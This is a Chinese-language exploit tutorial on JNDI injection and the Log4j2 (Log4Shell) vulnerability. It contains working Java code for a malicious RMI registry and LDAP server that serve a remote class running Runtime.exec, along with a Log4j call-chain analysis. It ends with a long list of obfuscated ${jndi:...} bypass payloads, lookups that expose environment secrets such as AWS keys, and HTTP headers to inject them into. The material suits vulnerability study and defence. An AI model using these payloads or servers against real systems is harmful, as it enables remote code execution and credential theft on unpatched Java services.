其他
从jndi到log4j2
JNDI基础
JNDI的有关类:InitialContext类:
InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
InitialContext initialContext = new InitialContext();
常用方法:
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。
Reference类:
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
代码:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
常用方法:
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
JNDI+RMI
客户端(被攻击者):
package com.naihe;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIS {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
服务端(攻击者):
package com.naihe;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIC {
public static void main(String[] args) {
try {
////高版本gdk默认是关闭ldap远程加载class文件的,需要设置com.sun.jndi.rmi.object.trustURLCodebase
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
}
}
恶意类:
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return null;
}
}
流程分析:
通过rmi获取一个Reference对象
进入第一个loadClass方法
在这里本地加载是加载不到的因此会返回null,进入第二个loadClass方法
这里可以看到已经使用url类加载器远程加载class文件,并生成一个类加载器
进入newInstance方法
返回的对象是一个URLclassLoader类
使用cl这个URLClassLoader生成一个被远程调用的类的class对象
利用反射无产构造创建对象
这里也会调用反射生成的对象的getObjectInstance方法
JNDI+LDAP攻击手法
服务端:
package com.naihe3;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1/#Calc"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端:
package com.naihe3;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws NamingException {
//高版本gdk默认是关闭ldap远程加载class文件的,需要设置com.sun.jndi.ldap.object.trustURLCodebase
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String url = "ldap://127.0.0.1:7777/Calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
恶意类:
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return null;
}
}
过程基本上和rmi一样
Log4j
漏洞成因: log4j支持jndi,可以远程调用rmi和ldap,由于rmi和idap本身存在漏洞,因此log4j就会简介触发rmi和idap
服务端:
package com.naihe4;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class j2 {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//同上
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
logger.error("随便输入xxxxxxxxxx231请31212312312:${jndi:rmi://127.0.0.1:1099/hello}");
}
}
直接跟进到MessagePatternConverter#format方法
匹配${,进入替换
这里获取协议前缀并判断是否在许可的协议内
调用JndiManager#lookup方法
调用InitialContext#lookup方法
后面又回到了前面的分析
调用链
在org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:217)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
在org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
在org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
在org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
在org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
在org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
在org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
在org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
在org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
在org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
在org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
在org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
在org.apache.logging.log4j.core.Logger.log(Logger.java:161)
在org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
在org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
在org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
在org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
在org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
在org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
在com.naihe4.j2.main(j2.java:9)
绕过payload:
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}
可执行的命令获取信息:
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
log4j会记录的请求头
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token
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